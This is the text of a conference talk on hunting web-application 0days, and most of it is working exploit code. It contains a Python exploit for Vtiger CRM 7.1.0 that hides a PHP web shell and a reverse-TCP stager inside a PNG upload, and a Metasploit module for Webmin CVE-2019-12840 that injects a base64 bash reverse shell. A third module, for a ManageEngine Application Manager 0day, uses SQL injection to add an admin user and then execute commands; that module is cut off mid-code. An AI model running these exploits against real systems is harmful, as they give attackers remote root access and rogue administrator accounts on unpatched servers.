Welcome to the first ever AppSec Village
12:30-13:15 0day Hunting and RCE Exploitation in Web Applications
Whoami
Özkan Mustafa AKKUŞ - Vulnerability Researcher && Pentester
Presentation Schedule
1.0. Recognize the web application and analyze user interaction areas 2.0. Interventions to disrupt the Client-Server relationship 3.0. Brief examples of manipulations to find vulnerability 4.0. Exploitation of discovered vulnerability with Metasploit 5.0. Power of 0days and choice between black and white hats 6.0. Disclosure of public 0days in Webmin and ManageEngine web applications
1.0. Recognize the web application and analyze user interaction areas
This is really important at the beginning of the road. Understanding the web application is the most important part of researching. To understand web applications, we must first become a user. It should be easier for you if you have developed a few. Because they work according to the developer's wishes. But sometimes there are things that the developer can't imagine. That's where 0day hunters come in. The hunter may come across a big surprise, if hunter can guess where the developer make mistake. The areas with the highest number of missing and unsecured requests are user interaction areas. That's why we need to do a perfect analysis of user interaction areas. In doing this analysis, do not believe what the web interface shows you (o_O) GIF We can discover and manipulate points that the application doesn't want to show us. We can also make changes to requests that the application sends to the server. Almost most of the web application vulnerabilities are revealed in this way. - Before continuing, I want to say something important. Your first job should not be to read the source code. My first job was never to look at the source code too of course. If you do this, it will be very difficult to find 0day. Don't do that. And don't afraid from source codes. A lot of researchers are afraid of examining source code. They thinks we should check all the codes. This is indeed very wrong . Just make them understand. We can't memorize all language libraries. You can access libraries in all software languages from google. This is normal. This way you can read the source code to see what's going on. If you stop fearing them, you can learn them all over time. Because we cannot read thousands of lines code. We should think more simply. First we need to know where vulnerability could be. Then we can examine the source code check at that point. Therefore, first of all. Examine the web interface, check user interaction areas and manipulate operations. That's how we can discover vulnerability. As I said before critical vulnerabilities are usually on user interaction areas.2.0. Interventions to disrupt the Client-Server relationship
With the features and privileges defined to the user, the user-application relationship may unexpectedly turn direct into the user-server relationship. This is realy very important point too. We can not use random relationship-breaking techniques. Thats why we need to understand the application to disrupt this relationship. To make a good analysis, you should put yourself in the place of application (o_O) GIF if you want to get something from the application :) You should think like the application itself. So you should act as if you are the application itself. how would you do If the user gave you an order? If we can give reasonable answers to this question, we can get very close to finding the vulnerability. we must distinguish between sensible and non-sensible manipulations. It is necessary to fully analyze how the user's instructions can be fulfilled by the application. In this way, you will successfully complete the most important part of the research. with this structure of thinking, we determine which areas of the application we need to check for vulnerability. We need also take over the privileges of the application and get the server to do what we want For Example, you are the web application itself. I'm a user. Suppose there is a button to upgrade your current version. If I use this button as a user, you will request "update me" to the server Then the server will update you and you will tell me "I have updated myself" "I have done what you want" Let's think a little. You did what I wanted, and so the server did what I wanted too. Well ... Can I manipulate the command you send to the server? Definitely yes. Because the user sending the request. The application only acts as an intermediary. Note that the application is just a broker between the server and the user. Don't let it for relationship with the server (o_O) GIF So keep in mind that you have the real privilege and real power. At this point, we need to perform "Interventions to disrupt the Client-Server relationship" So you need to know some manipulation techniques for take the application under your command. With the manipulations, possible to confuse it and also possible make it do the wrong things. Lets check examples of manipulations to find vulnerability.3.0. Brief examples of manipulations to find vulnerability
There are many ways to execute command on server. For Example We can upload a malicious file to the server and we can call it. We can inject a different command into a request that executes the command. We can create a malicious function by using the application's software language and we can let the application call this function. bla bla But basically it's all done on the same logic.- All of them are based on accessing the server command line!
- Ex-1 (CVE-2019-5009) // Use metadata and exif for place malicious codes in the images
To give an example of manipulation techniques, the most common and dangerous are image upload areas. We may place malicious codes in the images. All Applications control the size and type of the images. These are PNG JPEG or GIF. If this control cannot be avoided, we can use the image itself as a malicious file. I'll show you an example of the vulnerability I've discovered in Vtiger before. We will use Vtiger 7.1.0. Let's take a look at this in practice... That's not so critical vulnerability. Because we need credentials for the admin account. But here I will show you how to use images as malicious files. There is a arbitrary file upload vulnerability in the "Company Logo" field in the "CRM Settings > Configuration > Company Details " section of the application. This area has javascript control. The App allows size 150X40 pixels( .jpeg , .jpg , .png , .gif , .pjpeg , .x-png format ). We will use an image file that meets these requirements. For testing purposes, we have sent a ".PNG" file named "test123.png". As you can see, the file we sent was placed in the "Company Logo" field of the site. After the image requirements, we will try to change the file extension. NICE! We can send the file extension as we wish. So we can put malicious "PHP" code in the image codes. Now we upload the payload we produce with "msfvenom". However, we need to remove the "php" tag. Because it is controlled by the application. After sending the malicious file to the server, we call it and listen with "Metasploit". The result is as seen. You can also use this exploit that I wrote with "python".# Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://sourceforge.net/projects/vtigercrm/files/latest/download
# Version: v7.1.0
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : Vtiger CRM enables sales, support, and marketing teams to
# organize and collaborate to measurably improve customer experiences and business outcomes.
# Description : This application has the vulnerability of uploading files with the extension "php3" in the logo upload field.
# But the uploaded file must be in PNG format and size 150X40.
# We can put PHP code into image source. After you make the extension "php3", the PHP code that we've placed can work.
# Therefore, PHP code can be executed using "" Tags in PNG format file.
# ==================================================================
# I have exploited in 2 different ways.
# First one uploads a basic php shell for you and lets you control it through the console.
# Second one uploads the php meterpreter payload to the target site and lets you set this payload.
# PoC:
#!/usr/bin/python
import mechanize, sys, cookielib, requests
import colorama, urllib, re, random
from colorama import Fore
def bannerche():
print '''
@-------------------------------------------------------------@
| Vtiger CRM 7.1.0 - Remote Code Execution Exploit |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()
if (len(sys.argv) != 2):
print "[*] Usage: poc.py RHOST"
exit(0)
rhost = sys.argv[1]
UserName = str(raw_input("User Name: ")) # Administrator Username Input
Password = str(raw_input("Password: ")) # Administrator Password Input
print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser() # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
br.open("http://"+rhost+"/") # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()
title = br.title()
if title == "Dashboard": # Access control
print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")
print (Fore.GREEN + "+ [*] Login successful")
else:
print (Fore.RED + "+ [*] User information is incorrect.")
sys.exit()
##
# Introducing Cookie and CSRF token information
##
check = requests.get("http://"+rhost+"/index.php?module=Vtiger&parent=Settings&view=CompanyDetails&block=8&fieldid=14", cookies=cj)
doc = check.text
finder = re.findall(r'csrfMagicToken = ".*";', doc)
csrf = finder[0].replace('csrfMagicToken = ', '').replace('"','').replace(';var csrfMagicName = __vtrftk;','').strip()
csrf_to_data = str(csrf)
print(Fore.YELLOW + "+ [*] Token = " + csrf_to_data)
x = br._ua_handlers['_cookies'].cookiejar
c = str(x)
sonuc = re.findall(r"([a-fA-F\d]{32})", c)
g = sonuc[0]
v = str(g)
print (Fore.YELLOW + "+ [*] PHPSESSID = " + v)
##
# Random value fetching
##
boundary = ''.join(str(random.randint(0,9)) for _ in xrange(29))
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3"
##
# EXPLOIT
##
post_cookie = {"PHPSESSID": v}
post_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+""}
Basic_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"
print (Fore.BLUE + "+ [*] Select shell type:")
print (Fore.YELLOW +"- [*] 1 - Basic Shell")
print ("- [*] 2 - Meterpreter Shell")
choose = int(raw_input("- [*] Enter a number (1 or 2) : "))
if choose == 1:
Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Basic_data)
if Basic.status_code == 200:
print (Fore.GREEN + "+ [*] Shell successfully uploaded!")
print (Fore.GREEN + "+ [*] Shell Directory = http://"+rhost+"/test/logo/"+filename+"?cmd=[Command Here]")
while True:
shellctrl = requests.get("http://"+rhost+"/test/logo/"+filename+"")
if shellctrl.status_code == 200:
Command = str(raw_input(Fore.WHITE + "shell> "))
URL = requests.get("http://"+rhost+"/test/logo/"+filename+"?cmd="+Command+"")
print URL.text
else:
print (Fore.RED + "+ [X] Unable to upload or access the shell")
sys.exit()
elif choose == 2:
print("+ [*] In this option, you must listen to LHOST and LPORT with your Metasploit.")
print(Fore.RED + "+ [*] You should use the "+Fore.WHITE +"php/meterpreter/reverse_tcp"+Fore.RED +" payload")
print(Fore.YELLOW + "+ [*] Enter metasploit handler settings.")
lhost = str(raw_input(Fore.WHITE + "LHOST : "))
lport = str(raw_input(Fore.WHITE + "LPORT : "))
Meter_data = "-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"__vtrftk\"\r\n\r\n"+csrf_to_data+"\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"module\"\r\n\r\nVtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"parent\"\r\n\r\nSettings\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nCompanyDetailsSave\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"logo\"; filename=\""+filename+"\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00\tpHYs\x00\x00\x0e\xc4\x00\x00\x0e\xc4\x01\x95+\x0e\x1b\x00\x00\x00`IDATH\x89c\\=error_reporting(0); $ip = '"+lhost+"'; $port = "+lport+"; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f(\"tcp://{$ip}:{$port}\"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\"Nlen\", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();?>X\x80\x81\x81\xc1s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb200c\xd9\xb9g\xfd\xd9=\x1b\xce2\x8c\x82Q0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\n\x86\r\x00\x00\x81\xb2\x1b\x02\x07x\r\x0c\x00\x00\x00\x00IEND\xaeB`\x82\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"organizationname\"\r\n\r\nvtiger\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n95, 12th Main Road, 3rd Block, Rajajinagar\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"city\"\r\n\r\nBangalore\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\nKarnataka\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\n560010\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"country\"\r\n\r\nIndia\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"fax\"\r\n\r\n+91 9243602352\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"website\"\r\n\r\nwww.vtiger.com\r\n-----------------------------"+boundary+"\r\nContent-Disposition: form-data; name=\"vatid\"\r\n\r\n\r\n-----------------------------"+boundary+"--\r\n"
Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Meter_data)
while True:
payload = requests.get("http://"+rhost+"/test/logo/"+filename+"")
print("+ [*] Check your Metasploit Framework console")
if payload.status_code == 200:
print (Fore.GREEN + "+ [*] Payload uploaded and executed!")
else:
print (Fore.RED + "+ [X] Unable to upload and run the payload")
sys.exit()
else:
print("Invalid input!")
# end
in this chapter we used metadata and exif for place malicious codes in the images.
- Ex-2 (CVE-2019-12840) // Use symbols // vertical bar (|) // double an ampersand (&&) (o_O) GIF
Another manipulation technique is by using symbols. If we use vertical bar (|) it ignores the previous command and executes the command after the vertical bar and If we use double An ampersand (&&) it executes all commands written before and after it. At this stage we can use these symbols for manipulation. I will show an example of this situation through a vulnerability that I discovered before in Webmin. Let's take a look at this in practice... you know the story of the Update button... :) I gave example of update button when I talked about relationships above. If we look into the story, we will use Webmin 1.910. As you can see, the user we have is authorized only for "Software Package Updates". Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges. Let's examine it with the burp suite. As you can see, the application is asking the server to run the "apt" command for the update. After realizing this, we should think that we can run different commands too. At this point we will use vertical bar (|). We simplify the data we send and we use urlencode for vertical bar (7C%). Look at the result by sending a simple command like "ifconfig". The "ifconfig" command we sent was executed by the server. Now we can create a malicious payload and run it on the server. But this payload must be "cmd" based. You can also use this module that I wrote with "metasploit".##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin Package Updates Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.910 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12840'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("- Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "910"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end
in this chapter we used vertical bar for command injection.
- Ex-3 (0day) // Use the app's own feature // Privilege escalation with another VULN
The last remote code execution technique I want to show you is to use the application's own feature. Some applications have features that we can legally execute commands on the admin configuration panel. But first we need to use a different vulnerability to switch the admin panel. I'm gonna show this example on my 0day which I published in Defcon. We will use ManageEngine Application Manager v14 The account that we will use may be in the authority of "Operator" or any account that is not "Admin". There is a SQL injection vulnerability in the "resourceid" parameter in "/jsp/NewThresholdConfiguration.jsp". In our example we use the "postgresql" database. SQL injection is of "Time-Based" type. So we can verify with "pg_sleep()". When we send a sleep query, we see that the server is sleeping. Therefore, we have confirmed that "resourceid" parameter is vulnerable. Now we will create an appropriate "insert" query for "postgresql" and create a new "admin" account. After examining the APM application database, we learned that we need to make additions to the "AM_UserPasswordTable" table and the "Am_UserGroupTable" table for the user. In the query, we should use "+" instead of spaces and "$$" instead of ' or " . We should also send md5 for "password". A payload like the following will work.
1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+($$21$$,$$appsec2$$,$$e4912b56d06c0e67857d8592ec938118$$);insert+into+Am_UserGroupTable+(username,groupname)+values+($$appsec2$$,$$ADMIN$$);--+
1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (CHAR(53)+CHAR(55)+CHAR(49), CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), 0x3d60b14baa4755edf3e0dc44981124d1, CHAR(51)+CHAR(55)+CHAR(49)+CHAR(56)+CHAR(54)+CHAR(48));INSERT INTO AM_UserGroupTable(username,groupname) values (CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78))--
In the MSSQL database, "CHAR" encode should be used.
The platform can be linux and possible remotely connected to the MSSQL database.In the same way platform can be windows and postgresql can be used.
After SQLi now we have "appsec2" admin account.
After privilege escalation, we will use the "ExecProg" feature of the APM application to code execution.
First, we will send the malicious file from the "upload" section to the server.
I created a malicious ".sh" file and used "perl" payload. I know the server is "linux". Dont worry the metasploit module that I prepared can also control the platform.
The "ExecProg" section contains information about the server directory. By performing platform control, the appropriate payload can be sent to the server.
As you can see, the platform information can be seen in the "Directory to Execute Program" section.
Our malicious file is on the server. Now we will tell the app to run it.
We created a new action and wanted the malicious file to run.
As you can see, the session was received from the server.
You can also use this module that I wrote with "metasploit".
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 9090,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(cookie, platform, @dir)
end
def file_up(cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(cookie, action)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.do'),
)
# For this part the build control will be placed.
if res && res.code == 200 && res.body.include?('Build No:142')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'submit' => 'Login'
}
)
if res && res.code == 303
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
send_sqli(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
def send_sqli(cookies)
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
